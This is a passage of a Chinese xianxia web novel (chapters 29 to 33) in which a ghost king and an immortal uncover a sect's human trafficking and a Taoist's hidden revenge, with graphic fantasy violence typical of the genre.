“仙君,杀人啦。光天化日,朗朗乾坤,大街上杀人啦。”
她不插手也就罢了,可是陌离可是“正道的光”,怎么能也不管?
陌离看都不看那地上半死不活的女子,心想,飞升要历的劫素来只是开始后触发的第一件事,其他的事不在历劫范围。
所以,除非与汝陵那个叫张扶风的干尸的死因有关,其他的事,他不想管,就不管。
陌离现在已经对江妄的戏谑话语免疫了,只回答道,
“仙君要管,可我现在不是。”
他现在只是陌离。
他不用像从前一样,守那些尘世中人类所规定的道,以不被认作异类。
现在,他守他的道,就够了。
江妄不屑地啧啧两声,“真残忍呐,陌离仙君。”说着,她朝着地上那个生死不明的女子走了过去。
她拢着自己白白的袖子,抱臂而立,以不被地上的血迹弄脏衣裙。她俯身看着,黑眸里除了嚣张怪异的兴味,不见任何怜悯。
偏生她笑呵呵地,不知是在和那晕过去了的女子说话,还只是自言自语,
“还得是朕善良啊。遇见我,真是你最大的幸运了。”
30. 第 30 章
绛楼,九楼金露阁。
此间密闭,并没有窗户,故而虽是白日,却如夜间一般灯火幽微,时不时传来高阶灵石燃尽时轻微的爆裂声。
这壕无人性的房间里,堂堂鬼王没骨头似的随便倚坐在矮桌上,堂堂仙君木头似的抱剑而立。那锦褥玉雕的大床上,躺的竟是一个路边随便捡来的女子。
“醒了?”
江妄并没看床的方向,却凭空说了这一句。
那女子闻言还真就利落起身,不带丝毫犹豫地朝着江妄跪了下去,
“小女叩谢陛下救命之恩,为您赴汤蹈火在所不辞。”她言语并不多,感情却很丰富,说罢深深叩首,不再动作了。
竟是知道她的身份。
而且,陛下啊……
这小姑娘真会说话,更喜欢了。
江妄勾起一个满意的笑来。
“叫什么?”
江妄虽然是这么问了,但心里想的却是,你要是没有名字,那可就是我的江三宝了。
可惜,那姑娘有名字。
“我叫白悦,陛下唤我阿悦就行!”
她略略起身,露出一张白净的小圆脸儿来,长相说不上多惊艳,但也绝对不丑,甚至以江妄的审美来说,是非常可爱了。
小圆脸仰望一般看着江妄,露出了一个极尽崇拜的笑容。
这个笑容太真了,没掺杂半点水分,突然之间就让江妄这个惯性假笑的人,好像是活活暴晒在了正午太阳之下。
但江妄罕见的不怎么生气,她笑着应了下来,
“好啊,小白。”
……
简单聊了起来才知道,原来,这白悦才是个正经的俍业巫师。
陌离还是抱着减翠,一双清眸轻飘飘地朝江妄看了过来。
江妄:……
她当时跟陌离瞎编自己是俍业人,就是因为那些个巫师从不出世。万万没想到,有一天还能见到活的……
江妄摸摸鼻子,打了个哈哈,“原来是巫族人啊,那怎么出来了?”
哪想到就是这随便问的一句,小姑娘竟然鼻子一皱,眼睛里蓄满了泪水,欲落不落的,活像一只湿漉漉的小狗。
江妄:……
莫名感觉自己罪孽深重。
原是江妄触到了人家的伤心事。
这小姑娘不过是偷跑出来,就被人贩子哄着拐了,醒来时就被卖到了听香缃楼。她还算聪明,起先一直隐忍不哭不闹,趁看守不注意偷拿了不少香料,配成毒药。今日,她自觉时机大好,毒倒了没有戒心的缃楼楼主,又一路放蛊逃了出来。
可惜她体内早被下了禁制和追踪,待蛊虫用尽,便再也无力反抗。她体内的蛛母,发觉寄主将死,为自保直接破开她的身体爬了出来。若不是遇上江妄陌离这种反人类的修士,怕是必死无疑了。
此时江妄一问,小姑娘可能是想起来家中的好了,懊悔不已,又想起了这段时间受的苦楚,加上绝望之际被江妄救下,大大松了口气,委屈便涌上来了。
江妄摇了摇头,心里笑道,还是个孩子啊……
不过嘛,江妄终于明白为什么听香楼连死两位香主,乔洒松都不去寻求遥岑宗的支援,以致今日这般情景了——
这听香楼,竟是干着人口买卖的勾当。而乔洒松对这件事门儿清,甚至,可能根本就是主谋。
那些来玩的高阶修士毕竟少见,听香楼弟子之间互相修炼,所增长的修为到底还是少。
再说,乔洒松那幅尊荣,竟然能靠合欢道修至化神……原来如此。
江妄看着那边可怜巴巴的小圆脸,一眼便看出了她体质异于常人。若在俍业那种与世隔绝且不修灵力的地方倒没什么,一出世,少不了被邪修盯上。
玄阴极品,难怪被拐。
依江妄看,乔洒松眼光还挺长远的。知道自己一个人这么干早晚暴露,不如拉着整个听香楼一起,有好大家分嘛。
也难怪把这些年的惨案掖着藏着,也不求外援。因为一旦有人来查,真的很容易就撞见些不怎么干净的,到时候乔洒松这个“慈悲弥勒”,也就到头了。
可她记得,是乔洒松和她说起,那个人贩子团伙灭门的事的。
是乔洒松怕自己和陌离看出来,所以先灭了口?
不对。
要是乔洒松想要灭口,那为什么独独打掉人贩子团伙?为什么……还留着白悦这些人呢?
不应该是清掉所有痕迹吗?
有什么东西在江妄脑子里一闪而过。
江妄揉了揉眉心,活动一下脖子,不经意看见陌离又直勾勾的目视前方发呆。
……
我叫不生气。
江妄深呼吸笑了笑对白悦说,
“小白呐,你先安心在这里养伤,我和这个哥哥还要出去,你乖乖等我们回来奥。”说着,江妄摸出个瓷瓶,拉起陌离要走,突然想起什么似的,又回头道,
“对了,你还有什么要杀的人吗?告诉姐姐。今晚回来的时候姐姐把它们带回来,给你玩。”
陌离:……
小白却开心异常,一双眼睛都闪着光,连呼几声万岁,
“真的吗?!!陛下姐姐你太好了!……”
……
江妄一出绛楼,就再也忍不住地数落陌离,“我说,大哥,你认真点而好吧?”
陌离:?
江妄屏住呼吸,又狠狠吐出,
“白悦被拐,有很大可能跟听香楼的事有关啊!”
陌离稍微一想,也明白了江妄的意思,便表示自己知道了,答了一声,“哦。”
江妄:……“哦?”
你还哦,我……尼玛……
就在江妄气得要死,拔出减翠作势要劈陌离的时候,江妄面前出现了江大宝的通信印。
陌离躲也不躲,还凑过来抚了下江妄的背,虽然不知道她为什么好像不太高兴。
但是,他喜欢的姑娘拿着他的本命剑要砍他这件事,实在是很难让他产生警戒之类的反应。
江妄一口气憋在那,上不去也下不来。
也没看通信内容,感觉了一下江大宝离她不远,就直接把她召来面前了。
江大宝一现身发现就在大街上,有些犹疑,生怕是陛下错误操作把她揪来了。毕竟也不是第一次了。
江妄只好开口,“我看你结印找我,距离不是很远便直接拉你过来了。”
素蓝衣裙的女鬼这才收伞,恭恭敬敬朝江妄行了个礼,“陛下。”又转向陌离,一时因为不知道怎么称呼犯了难。
江妄终于知道自己一身恶气要怎么出了,只见她一脸坏笑地对江大宝说,“这位公子说要嫁给我。”
可惜,她这个属下最是一本正经,闻言半点疑惑都没有,“那陛下是想……”
江妄一把拽过陌离的胳膊搂着,
“我现在正是喜欢他的时候呢!”
陌离僵着胳膊,垂着眼眸。
她说谎。
结果这江大宝直接对陌离行了个大礼,“属下江大宝,拜见鬼后。”
……
“噗……哈哈哈哈哈哈哈哈哈……”江妄松开陌离,改拉起江大宝,拍着她的肩膀笑得快不行了,直呼她是自己的好大宝。
江妄抹了一把笑出来
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的眼泪,终于说道,“好了,你什么事?直接说吧。不用避讳我们的‘鬼后娘娘’。”
江大宝便说了起来,他们查出了梁霁的事。
说来巧得很,被灭了门的听香乔家,虽是听香城几百年的大家族了,但其实在很多年前并不是首屈一指的存在。
大概三四十年前,听香城世家之首便是,梁家。不过后来因为内讧衰败。
据说当年,梁家所有的人都死绝了,只有一个人的尸体没有被找到,正是梁家的嫡小少爷,梁霁。
有趣的是,梁家的旧宅不但没有被销毁,而且还被乔家占据举家搬迁了过去,成了乔宅。虽然现在也被烧的差不多了。
江妄听她说着,所有的事情好像都在脑海里穿了起来,姓梁啊……
突然,江妄回头。
街道上流动的生命气息不少,但有一道气息却一直朝着江妄他们……有人在听他们说话。
江妄示意江大宝,江大宝立刻把伞飞了过去,又闪身跟上,随即街角就传来了挣脱的声音。
想是那被伞控制住的人在抵抗,江妄袖子一甩,精纯的魂力打了过去,那边挣扎的声音彻底消失了。
江大宝实力不低,绝对够得上一方大能的水平,但要是作为鬼将征伐暄妍则略有不够。所以,江大宝的青伞上从来都有江妄的一缕气息在加持。
所以,这把青伞竟然控制住了化神巅峰的,梁天疏。
“道长好啊,好久不见。”江妄款款走了过去,看着伞下一脸阴沉的黑衣道长,
“我说道长,两方查案各凭本事,你这听墙角窃取我方进度,多不好……”
“你一个鬼物,隐藏身份混迹人群,竟然也有脸说我?”梁天疏毫不让分儿,嗓音嘶哑难听地讽刺着江妄。末了吼了一句,“孽障,立刻放开我!”
江妄一点不气,微笑着道,“好道长,我知你情商不高,但也不能这般认不清形势啊,若伞下是我们的乔弥勒,他早就笑着讨好说些有利双方的事了。”
她双手合起,结了数道印,嗖嗖嗖打在梁天疏身上,很周密地把他捆了起来。便顺势撤下青伞,扔还给江大宝。
“但我知,你也好,乔香主也好,性格迥异,却都是十里挑一的硬骨头。所以,道长放心,我不会弄些无谓的刑罚折磨你。就是问一句,道长怕鬼吗?”
梁天疏:……
江妄也不是真的在问他,自顾自接着说道,
“这些天道长怕是都得跟我们这些‘鬼物’待在一起,要是怕鬼的话,那……
您多忍耐吧。”
梁天疏:……
哪来的神经病?
做完这些,江妄就不再管他,转而吩咐江大宝,“看好他,要是你忙那边的事,就叫路清嘉盯着,总之不得松懈。”
江大宝点头应是。
然后江妄便没骨头似的攀靠在陌离身上,“娘子啊,我记得那乔宅里还有一物没烧死来着?”
陌离一听江妄叫他,赶紧聚焦起视线看她,很配合的嗯了一声。
江妄呵呵笑了一声,不知道说给谁听,
“我看庭中那灵树够大,今夜我们再去一趟,把它砍了给我打张桌子如何?省得总叫我羡慕乔香主的书桌。”
她一边作态地说话,一边神识盯着梁天疏。只见那黑袍道长那张冷峻瘦削的脸唰地一下就白了下来,一双本就下三白的眼睛里瞳孔骤缩。
江妄正洋洋得意地暗道果然,这梁道长……
结果工具人陌离还真认真思考起来了,最后得出结论,
“那棵树很大,打完桌子,还能打张床。”
……
31. 第 31 章
夜幕降临,一切静到一种极致,一丁点声音都找不见。
这时节气候明明应该是温暖的,植物却全枯死了。那些树死气沉沉伸着它们杂在一处的手脚,任由一群渡鸦站在身上发出瘆人的叫声。
这样的场景里,人走在其中,心里冷得身上也跟着冷战,识海更是几近被冻住。
世间几人能随意抵挡厉鬼的鬼气呢?
扑啦啦……突然,那群渡鸦惊起,隐入了黑沉的夜色里。
是一位半束长发的温润公子,绕过那些恼人的枯枝,踏着夜色走来。
哦,看清之后,他是踏着一路的尸首走了过来……
“都早些回去吧,今夜便到这。”他突然对着空气来了这一句。
下一瞬,夜里无端刮起了一阵一阵错杂的阴风。便知道这位公子并不是在对空气说话了。
路清嘉甩甩指尖黏腻的血,直叹倒霉。今夜遇见个难缠的,情急之下,他直接生掏了那人的胸口……
唉。
啪嗒。
?
此间何时又来了一个人?
刚才没杀尽的吗?
路清嘉长叹一声,蜷起沾满鲜血的手指,温温吞吞地开口,
“这位,是来做客的吗?”
呼……一道人影闪到路清嘉眼前,比这里的风更加飘忽不定。
路清嘉是鬼,视力无谓昼夜,却也隐隐只看到两只闪着金光的危险东西。
失去意识之前,他听那人影道,
“殿主万安呐,别来……无恙。”
……
几排枯木齐齐折断,浓度高到不可思议的的鬼气以一种恐怖的形式爆裂开来,空旷夜里传来鸦群惨厉的尖啸。
如果有南界的泰斗高修在场,立即会如临大敌地列阵,因为,有厉鬼魔化了。
路清嘉那双清润的大眼睛彻底被鲜红的血色覆盖,染着邪戾的凶光,喉咙里咕噜着奇怪的发音,之前血渍弄脏的手化为利爪,疯狂地向着季晞攻去。
未蓄发的男子睁着一对晦暗的金瞳,眼看着路清嘉袭来,半晌,嗤笑一声。
他稳稳地后移一步,精准地落在路清嘉的攻击范围之外,然后,他轻轻一挥手,三只贴着符纸的鬼仆不知道从哪扑出来,缠上了路清嘉。
季晞冷眼站在一边,看着自己手中杀伤性最强的三只厉鬼合在一起都制不住路清嘉。他叹了一声,摇摇头。
本想着先把路清嘉制服,趁他虚弱再进行精神力炼化会容易一些。
毕竟,无论生前死后,这位的精神力可是南界绝无仅有的强。
没想到啊……
不再会使用驱鬼炼魂的殿主大人,单凭实力,也足以让自己拼尽全力的准备显得毫无用处。
还是他自己上吧。
……
阴风号得生刮人耳膜,那群丑陋的渡鸦不知道又从哪儿飞了回来,乌泱泱地盘旋在一截断了的枯木上,好像在巡视着什么珍馐美味。
原来,那截枯木的尖刺上竟然穿了个人。那人脚尖虚虚点在地上,躯干被钉在枯木上,呈一个后仰的姿势。他双手垂下,好像是死了。
然而,就在那群鸦也这么以为,并且想要把他们尖长的喙啄进那“死人”的血肉的时候。
一阵阴冷的鬼气以高速把他们掀飞,枯木上穿刺的“死人”竟唰地一下睁开眼瞳,两点金光就这么划在夜空中。
噗……滋啦,血肉生生摩擦出令人牙酸的声响,他直起上身把脚踩在地面上,像是感觉不到疼痛一般,直接挣开尖刺走了下来。
季晞闭上眼睛感知了一会儿,随手抓了两只鬼过来。
然后,他以极快的速度剥离出了这两只鬼的魂力,都没怎么净化提纯,就把这两股满是杂质的类灵力生吞了下去……
而最奇怪的是,他的身体神识并没有因为吸收大量鬼气驳杂的类灵力而出现任何的不适。
相反,他胸口被枯枝贯穿的大洞,随着类灵力的吸入,不断缩小着创口,最后,竟重新长起了皮肉,直至完全愈合。
白生生的胸口,与破损了一个大血洞的衣物格格不入。
……
这还是人吗?
当然不像。
此时季晞周身萦绕着的鬼气,根本不亚于真正的厉鬼。
三只季晞喂了小半块心脏才炼出的最高阶鬼仆,魂飞魄散了两只,被玩废了一只。
不过,季晞一点儿都不心疼。他眼看着那只只剩一丝魂力的鬼仆,魂魄一点点变得透明,直至,魂飞魄散。他都懒得走过去给那只鬼仆换张符纸,输些类灵力。
他当然不再需要这些低级废物了。
因为他季晞将会拥有整个南界至厉至强的鬼仆。
绕过地面那些被炸开的大坑,季晞一步步踱到某一个坑前。一双森冷的金眸,居高临下地睨着坑里被甩上一张符纸的路清嘉。
“你很强,殿主。但到底没有强过你自己创出的功法。
挺戏剧化的,是吧。”
季晞一边抖着束魔袋,一边以一种拉家常的语气和没有半点反应的路清嘉说起话来。
“……多可惜,若是你记得生前的事,一定会认可我如今的驱魔术了。就会意识到……
当年你是蠢得多么令人恶心!”
他不知怎的突然发疯起来,一下子扑到坑里,想要拉扯路清嘉,却直接穿过了路清嘉的魂体。
此时路清嘉鬼气逸散,早就无法凝实。季晞竟是疯了一般给他输送自己混着鬼气的灵力,活活把路清嘉凝实,然后双手狠狠地掐住了路清嘉的脖子。
耗费大量灵力,不过只是为了掐一下没有痛觉的鬼仆。
……
许久后,他好像也累了。他盯了一会儿路清嘉无神的双眼,竟哈哈哈哈地狂笑了起来。
控制不住自己的面部神经一般,他脸上神情堪称凌乱,像哭又像笑,是虚伪无比的炫耀狂喜,又好像求诉无门的痛苦哀戚。
季晞松开了手中的鬼仆,任由他重新滑落回坑底。
待笑够了,他说,
“殿主啊,你知道吗?边茂那些人欠我的,所以他们把命偿给我了。可你欠我的,好像怎么还都是不够的。”
“但没关系,”一双金瞳迸射出兴奋的光来,他又扯起一个难以抑制的癫笑来,
“有人会连着你那份儿一并还给我……”
……
暄妍城外,一把青伞凭空出现,江大宝携着阴凉的夜风而来。
青伞收起,只见她手中魂力正虚虚吊着一个人。那人被捆得严实,一身黑袍更显得他消瘦无比。
女鬼直接开口,
“下半夜我去宿芳宫,你,看好他。陛下吩咐的,不得有失。”
说罢,江大宝不再提其他,便把梁天疏扔给了面前的鬼。
而她面前一直微微侧身对着她的“鬼”,也不言语,只一把抓住梁天疏的衣领,算是接住。
江大宝不疑有他,正要撑伞离开。突然,她目光向下,看见了满地被鬼气溢满的大坑。
难怪今日他身上的鬼气与往日不同,怕是遇上不好对付
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的了……
于是,素蓝裙角在空中画了个圈儿,又娉娉婷婷地转了回去。
“你……可有受伤?”
那清清冷冷的女声缓缓吐出,好像不带有一丝情绪。
但很明显地,这是一句关心。
“……”
银翼面具下的那张脸的神情扭曲到了极致,却被完美地遮挡了起来。唯有下方露出来的一张嘴,咧开又抿起再咧开,怪异非常。
可惜江大宝从始至终都没有往他的脸上瞧,故而忽略了这么明显的异常。
“我无碍。”那面具下终于吐出了一句话。
江大宝虽觉得路清嘉有些奇怪,但她性格使然,并没有多问什么。
她打开青伞,引了一股魂力到“路清嘉”身上,然后又一次嘱咐他看好梁天疏,便撑着伞消失了。
她竟是把江妄给她在战场上护身的魂力,转给了路清嘉。
一丁点儿稀微的月色,惨白地流转在这种暗沉的夜里,季晞扯下扣在脸上的面具,一双怪异的金瞳就再也避无可避地暴露在了天地之间。
没想到,这么快就见到了。
他轻搓着手中的束魔袋,
“殿主呐,你看。还债的来了。”
……
--
绛楼,金露阁。
江妄挤在陌离身后一脸难言的看着白悦……
她就不明白了,好好的小姑娘,怎么喜欢捣鼓这些恶心玩意儿啊?
奢华昏暗的房间正中央,一个浑身爬满毒虫的男人被魂力吊在空中,正疯狂扑腾着。没过一会儿,腥臊的液体便顺着他的衣服淅淅沥沥地淌到地上。
江妄没眼看,赶紧又一个隔离甩过去,嫌弃到不行。
要不是她实在喜欢这个小白,早就把她和她的新玩具丢出去了,哪里还能忍得了一刻?
那边白悦一脸无辜地转过头,指了指地面,瘪起小嘴,感觉泪珠下一秒就要委屈得掉下来了,
“嘤嘤……陛下姐姐……呜……对不起,我把陛下姐姐的地板弄脏了……呜呜呜我错了……”
江妄赶紧从陌离身后蹦出来,急忙摆手道,“不是不是,不是你的错!那什么……”江妄一看她要哭,简直一个头两个大,慌乱之下她拔出减翠,一剑掷在那缃楼楼主胸口,直接把他扎死了。
江妄一拍手,露出了个和善的笑容,
“对,都是他,是他的错。”
白悦呆着一张包子脸,感动得鼻涕唰的一下流了出来,她用手背擦掉,砸吧砸吧嘴,“陛下姐姐放心!我马上把这东西弄出去!”
陌离:……
突然,江妄脸上温和的神色一变,她看向陌离,“召回你的剑。”
陌离在她说话的同时便已开始动作,江妄拉起陌离,下一瞬,二人便出现在了十三楼熙鹤堂。
二人闪身穿过议事厅,江妄一脚踹开书房虚掩着的门,果然,早已人去楼空。
看着墙上早没有半点魂力残余的封锁,江妄真快气笑了。
这是可自己的封锁啊!
竟然就这么无声无息地被破了,而她这个鬼王竟是直到现在封锁将散才有所察觉。
唉,说好的让乔香主安心住,结果就这么给人掳走了。
你让鬼王的脸往哪搁啊?
江妄勾起唇角,她回头看着陌离,
“真是江山代有才人出啊。所以仙君,你再划水,咱们是真要把老脸丢尽了。”
陌离把清洁后的减翠收回鞘内,抬眸道,
“不会。”
32. 第 32 章
夜黑得很沉,看不到一点儿光亮的东西。
碎荷巷那缥楼的后院就更是这样了。一小块儿被破烂围墙圈起来的天,像是被活活儿粘上了黑布一般,闷的没有一点儿生气。
粘上了黑布,便不怕映出地上的血腥。
“啊啊啊……啊……啊啊……”一声声长长短短的惨叫,在这荒凉后院幕天席地的响着,却没有任何人能听得见。
正如没人听得见,也没有任何人能看得见,幽绿色的灵光在透明的结界上流淌,彻底隔绝了此方空间。
没过一会儿,惨叫好像就已经无法继续了,声音没有了半点儿穿透力,变成了“嗬…嗬…嘿…嘿”的鬼叫。哦不不,没魔化的鬼叫得绝对比这个好听。
应该是把嗓子喊破了。
一个月白色衣衫的少年坐在高高堆起的柴火上。他双手紧攥着自己腰间墨绿色的锦带,居高临下地看着下面四溅的血肉。
一个胖子以一个扭曲的姿势坐在地上,双腿软绵绵地交叉搭在一起,与上半身反向成九十度以上,是一个正常人类绝对无法拥有的柔韧度。
他的双臂好像环抱着。
直到某一刻,他左手寒光一闪,这才明白实际上根本没有那么平静。
原来,是结界上流窜的绿光照过,那胖子左手里,是一把匕首。
而他拿着这把映着幽绿的匕首,正一片一片,割着自己的右臂……
虚胖的右臂,肉也并不紧实。他左手又抖得厉害,像是有人强按着他的手在割,自己还一直用那副早已破掉的嗓子“助兴”,这种情况下就更不能要求他的刀工了。
这也就导致这肥肉割得很不均匀。有时候一刀下去直接割下一大坨,有时候却是只压了个刀印儿在手臂上,正待要割,肥肉就滑走了,只能拔出匕首重新来。
那俊美的少年一动不动坐在柴火堆上,死死盯着眼前这诡异又血腥的一幕。幽绿光芒时而照亮他莹白的脸,他那双极黑的眸沉比夜色,燃烧着不知名的情绪。
这样残酷的手段,对待的应该是仇人吧?既是仇人,那充盈双目的就该是恨。
可现在,少年感觉到的,远远比恨这种单调又好解决的情绪,痛苦千倍万倍。
他不知道该用什么去发泄一点……跳下柴堆去再捅乔洒松几刀吗?
他感觉自己四肢百骸都被焚烧,烧着烧着,火星好像又聚在双眼,引起灼痛。
他想自戳双目,他又想拆筋断骨,他想抱头痛哭……他不知道手脚该做什么动作,最后僵着一动也不敢动。
他坐着,底下叫着,血肉溅着。
直到那幽绿色光芒突然消失一瞬,结界裂开了一道口子,又在一个消瘦的黑影后面缓缓合上。
少年眼神一戾,想要看清这个不速之客。可随着这黑袍人步步逼近,他的凶相便再也维持不住了。
他急忙扭过脸,猛地跳下柴堆,却一个趔趄摔在了地上。他顾不上许多,以双手撑地狼狈爬起来,月白长衫沾染了地上的血污,腰上的墨绿锦带自然也没能幸免。
他站起后立刻背对黑袍人,想捏诀离开。
“站住。”身后的黑袍人哑声开口。
少年脚下的传送阵法灭掉又亮,短短一会儿,这么简单一个阵法,他单手捏诀已经失败了两次。
“柳掌事死那天我没叫住你,现在你又想就这么走了。”黑袍人陈述事实般道,他声音沙哑,语气轻飘。
少年抬起颤抖的双手,用力把指头对在一起,可僵硬的十指却连最近本的诀法也拼不出半个。
地上的传送阵明明暗暗,黑袍人突然笑了一声,好像带着嘲讽,他沙哑的声音还是很轻,“还是说……你嫌我脏啊,连一句话也不愿同我讲了。”
少年手里的动作突然停住了,不知道过了多久,他生生掰断了几根指甲。
这个时候,不知道是因为十指连心,还是因为心连着十指,总之都是生疼的。
他放下了手,地上的传送阵彻底寂灭了。少年止住指甲滴答的鲜血,开始擦拭墨绿
锦带上因之前倒地沾上的血污。他终于开口,却始终没有回头,
“这是我的事,你不该插手。
仅此而已。”
短短一句话,他却说得极其费力,好像每一个咬字,都用尽了全身的力气。
好像每一次张开嘴,都在对抗阔别时间堆积起来的巨大重量。
“你的事?呵呵……哈哈哈哈哈哈哈……”黑袍人低沉的笑了起来,像是听到了什么绝世笑话一样,笑得前仰后合,最后双手扶住膝盖喘着气。
“这桩桩件件可与你有半毛钱关系?”
他突然直起身子,可能是一下子动作太猛,他瘦削的身子狠狠后仰,好不容易才站稳。他抬起左臂用食指指着少年,精神失常了般大声吼道,
“我用你了吗?啊?!谁许你的?你有什么资格?!”
一滴滴晶莹的液体打落在这片血腥浸染的地面上,那个始终不肯回头的人注定无法看见。
……
夜色黑沉,若不是结界上的绿光和乔洒松的惨叫还时不时刷一下存在感,这二人就好像被融进夜色里了一般,沉默且无力。
“离开听香城,立刻走!”黑袍人再开口时已经冷静了下来,只是声音还是那么沙哑。
走得越远越好,去哪儿都好……
少年却并未给出什么回答,说好或不好,只是兀自攥紧了手中的墨绿锦带,锦带越攥越紧。许久后,他突然开口问了一句毫不相关的话,
“少爷……你还回片云观吗?”
……
“立刻走!听不懂吗?”梁天疏厉声说道,却是答非所问。
少年攥紧了手中锦带,头垂得更低了,
“好。”这里不是说话的地方,千万不能牵连少爷。
他可能知道今天自己手指不太灵敏,也不再捏什么诀,直接扯出一张传送符来。
“等等,”梁天疏蓦地开口。
少年立刻停下手中动作,猛地抬眸,他下意识就想转回头去,却好像碍于什么生生停住了动作。
如此黑沉的夜色之下,少年那双眼珠此刻竟比黑晶还要透亮。
“别让他叫了,我听着心烦。”梁天疏却只是指着地上的乔洒松道。
……
少年眼中的光亮暗淡下来。他始终没有转头,只背对着梁天疏,默默修改着对乔洒松的指令。
不知道少年做了什么,乔洒松手里的匕首咣当一下掉在地上。
他是不再怪叫了,却流着口水嘿嘿傻笑起来,用唯一能做动作的左手不停地梳理着打绺的头发,瘫在地上费劲地左右翻动。显然是疯了。
“还有……”沙哑的声音响起,梁天疏一身黑衣彻底融入夜色中。风时而刮过,扯着他宽大的袖子起舞,却没人能看的真切。
……
“什么?”少年许久等不到他“还有”后面的话,主动问了一句。
“……没什么,快走吧。”
他瘦削两颊仅剩的肌肉抽动几下,努力牵动唇角,做出了一个极其滞涩的笑容。刚风干的泪痕紧绷着皮肉,给这个本就不够熟练的笑容更添了几分怪异。
可无论怎么怪,怎么难看,这都是一个笑容,毫无疑问。
“就是想说,你好好保重。”
……
少年走后,他之前设下的结界也随之消失,这满地的血腥终于明晃晃地暴露在了天地之间。
梁天疏晃了一下身形,才朝地上那个“胖子”走了过去,
“喂,”他踢了一下乔洒松扭曲的腿。
乔洒松却只顾着笑,根本看都不看梁天疏一眼。
梁天疏看着,突然觉得很可悲。
三十六年来,他都在片云观静修,偶有下山也绝不经过听香城,假装早已放下了七苦。但其实在脑子里想了无数次类似于这样的场面。
他不去复仇,但也设想过,若有一天能报仇了,该是多么快意。
可此刻,他的仇全报了,甚至千倍万倍地讨回来了。但他只觉得可悲,甚至觉得有一种浑身脱力的感觉。他甚至没有力气去再加一层新的结界。
他眼看着,自己左手的中指和拇指颤抖着掐在一处。之后,毕宿剑应召而来,直直扎进乔洒松心口。
乔洒松终是停下了笑,抽搐了两下,大睁着他那双小眼睛,不动了。
梁天疏弯下腰,拖着乔洒松扭曲的身子一点点摆正,黑色的袖袍为此沾上了血,他却不管。
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他慢慢地蹲下身子,蹲在乔洒松的颈侧,用沾满粘稠血液的手,轻轻拂上了乔洒松大睁着的双眼。
他不辨悲喜地说了句,
“乔大哥,走好。”
……
陌离江妄来的时候,映入眼帘的就是这一幕。
片云观大名鼎鼎的梁天疏梁道长,佝偻着身子,蹲在一个血肉模糊的尸体边上。他闻声缓缓抬头,一双黑漆的眼蔓着极其浓重的死气。
和他对视的一瞬间,江妄:……
那俩傻x死哪去了?到底是怎么让梁天疏跑来这儿的!!!
杂乱的后院,猩红粘稠的血肉组织裹在不算洁净的泥地上,江妄想往前走,却连下脚的地方都没有。于是一时间,没有人有动作。
直到……
“是乔洒松。”陌离陈述着这个事实。
魂魄没了。江妄感受了一番,不知是第几次得出了这个堪称荒谬的结论。
地上的乔香主已然看不出半分生前的样子。可能他好久都没这么瘦过了,江妄突然天马行空地想。
洁白的鞋靴往前踏了一步,陌离拉住她。江妄安抚地笑了一下,
“没事,去送送乔香主吧。毕竟,是死在了我们眼皮子底下。”
陌离的手松开了些,但还是虚虚握着。
陌离用了平时十几倍的灵力,细致地给乔洒松施了个清洁术,才让他勉强露出点儿人样。
虽然和“体面”两个字相去甚远,但江妄发现,他的鬓发竟然意外的齐整。
脸上的表情虽很扭曲,却不难看出是在咧嘴大笑……
弥勒大笑着离去,许是登了极乐吧。
尸体心口贯穿着的黑色重剑其实不算什么。江妄把视线移至那把染着鲜血的匕首,再看尸体上坑坑洼洼的创口……
就,死挺惨的。
是她来得晚了,不然……
不然怎么也能看看是什么样的深仇大恨,是什么样的狠心人物。
这时,一直被江妄二人刻意忽略的黑衣人,沉默地站了起来。
他过分消瘦的身形,包在空空荡荡的黑袍里,薄纸一般,好像一阵夜风就能吹跑。
“走吧。”他嘶哑着开口,“陌离仙君。”
他伸出左手,召回乔洒松尸体上插着的毕宿剑。好像被江妄他们看见了,毕宿便失去作为凶器的作用了。
那柄黑剑很宽很长,一看就很重,肯定比梁天疏本人要重多了。
可当它被梁天疏横手里的时候,却像是没有半点重量一样,直直地,几乎与地面平行。
然后,突然之间,它像是小儿的玩具一般,就这么轻易地,被它的主人拦腰折断了……
一声很沉闷的剑吟,几不可闻。
那么威武的剑就这么化作了两块废铁,零落在满是血污的泥地里。
“人是我杀的,你们也看见了。所以,带着你们好不容易,抓到的凶手,走吧。
玄风宗,又或者是遥岑宗,我都没意见。”
他好像第一次说这么长一大段话,几次气息不够,破锣嗓子又低又哑,不时还猛倒一口气。
江妄耐着性子听他一点点说完。她叹了口气,
“等一下,道长。这件事还没有明确结论,不能就这么……”
“乔洒松生前,大概亲自跟你们指认过凶手吧?那么……
我便重新介绍一下自己,”
沾满血污的袖口衣摆翻腾在夜风之中,他黑袍袖子下伸出两只枯瘦的手来。
随着他的动作,荒凉后院里那些稀稀楞楞的植物,竟然以一种可怕的速度妖化疯长了起来。
不一会儿,之前还半死不活的几棵矮树已状似参天古木,砖瓦缝隙的杂草崩开各种障碍拔地而起,一株株摇曳宛若鬼影。
前一秒光秃秃的灰蓬后院,瞬间成了植被过于茂密的观景园。
……
江妄垂下眼睫不再看他,兀自摇了摇头。
既然做到了这个份儿上,那,没救了。
梁天疏则继续双眸沉沉地盯着江妄他们。他似乎在说话的时候咬到了下唇,此时嘴角往下颌淌着一条血线。
他说了今晚的最后一句话。
“片云观,梁天疏,本名……梁霁。”
33. 第 33 章
听香多年惨案,一朝曝露在阳光之下,南界哗然。
又说,汝陵与溢庆二城惨烈无比的命案皆源自听香。
一时间,群情激奋。
人们惶恐,难道一城执法宗门的权力,已经大到能一手遮天掩盖如此血腥惨案地步了吗?
人们不理解,为什么听香楼半点不作为,宁愿任凶手逍遥,也不将案情上达遥岑?
人们质疑,自己无比珍贵的性命,在这些宗门眼里,到底算什么?
……
无人不想问听香楼要个说法。
可是,如今听香城听香楼,三位香主和掌事全部身亡。明明一座人城,却乱作一团,竟是要靠鬼王主持事务。
……
“老哥,这是赶着去哪呢?”一个刚支起招牌的茶水摊老板,眼尖看见了熟人,便放下了手中的活计一把拉住他。
“诶呀,是你,现在城里又是吃人内脏的妖又是鬼的,乱成这样你怎么还出摊啊?哎算了我这赶着出城,咱们改日再叙改日再叙……”
被拉住的人显然一副行色匆匆的样子。
“欸你等会儿,听香城的生意向来不好跑,好容易进的城呢,干嘛那么着急出去?
你听我说,鬼王陛下是好人……啊不,好鬼,那日炸绛楼的基阵是事出有因的。”
“啊?不是说厉鬼魔化进攻,暄妍的战线已经拉到听香来了吗?”
